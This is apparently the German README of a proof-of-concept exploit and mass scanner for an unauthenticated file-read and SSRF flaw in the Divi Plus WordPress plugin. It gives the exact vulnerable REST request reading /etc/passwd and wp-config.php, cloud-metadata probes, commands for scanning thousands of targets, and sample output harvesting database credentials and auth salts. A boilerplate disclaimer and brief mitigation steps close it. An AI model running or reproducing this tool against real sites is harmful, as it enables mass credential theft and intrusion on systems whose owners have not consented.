CVE-2026-91136 — Divi Plus ≤ 2.4.0 — Nicht authentifizierte beliebige Dateilese-PoC

Divi Plus (Elicus) — WordPress-Plugin ≤ 2.4.0 — nicht authentifiziertes beliebiges Dateilese- über den Parameter svg_image des REST-Namespace elicus/v1.

📋 Schwachstellenübersicht

🔍 Technische Beschreibung

SVGAnimatorController::index_permission gibt bedingungslos true zurück, sodass der Endpunkt /wp-json/elicus/v1/dipl-modules/svg-animator ohne Authentifizierung erreichbar ist. Die Eingabe svg_image durchläuft lediglich sanitize_text_field() und esc_html() — die keine Dateisystempfade, den file://-Stream- Wrapper oder entfernte URLs einschränken — bevor sie an file_get_contents() (mit einem wp_remote_get()-Fallback) übergeben wird. Der rohe Antworttext wird im JSON- Feld html zurückgegeben.

GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
        │
        ▼
index_permission() = true (no auth)
        │
        ▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
        │
        ▼
file_get_contents() -> fallback wp_remote_get()
        │
        ▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}

Impact: Lesen von /etc/passwd, wp-config.php (DB-Zugangsdaten + Auth-Salts), Cloud-Metadaten via SSRF (169.254.169.254 / GCP / Azure / DO / OCI), .env und jede andere Datei, die der Web-Benutzer lesen kann.

🚀 Verwendung

# single target
python CVE-2026-91136.py -u https://target.com

# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results

# interactive (banner -> targets -> threads)
python CVE-2026-91136.py

📊 Ausgabe

[OK] https://target.com                                        ✓ 1  ✗ 0
    passwd: root:x:0:0:root:/root:/bin/bash
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
    wp-config: /var/www/html/wp-config.php
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
      DB_NAME=wordpress
      DB_USER=wp_user
      DB_PASSWORD=***
      DB_HOST=localhost

✓ OK: 1   ✗ FAIL: 2979   total: 2980

• Live-Fortschrittsbalken in einer Zeile: [████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247
• results.hits.txt — nur bestätigte verwundbare Ziele

⚙️ Funktionen

• Fingerprint: svg-animator-Endpunktantwort + Version über divi-plus-Assets ?ver=
• Versions-Orakel: verwundbarer Zweig liefert Dateiinhalte zurück; gepatcht/WAF liefert 403/leer
• wp-config.php-Erkennung: feste Kandidaten + echte /home/<user>/-Verzeichnisse, geparst aus /etc/passwd
• SSRF-Probes: AWS / GCP / Azure / DigitalOcean / OCI Metadata-Endpunkte
• Loot-Extraktion: DB-Zugangsdaten + WordPress-Auth-Salts, mit direkt wiederverwendbaren Links pro Fund
• Massenmodus: Thread-Pool, Deduplizierung, Live-✓/✗-Zählung, JSONL- + Hits-Export

📁 Dateistruktur

├── CVE-2026-91136.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ Haftungsausschluss

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ Gegenmaßnahmen

1. Aktualisiere Divi Plus auf 2.4.1 (oder neuer)
2. Rotiere alle Zugangsdaten, die durch das Dateilesen offengelegt wurden
3. Blockiere GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator an der WAF
4. Überwache Logs auf svg_image-Werte, die file://, /etc/ oder Metadaten-IPs enthalten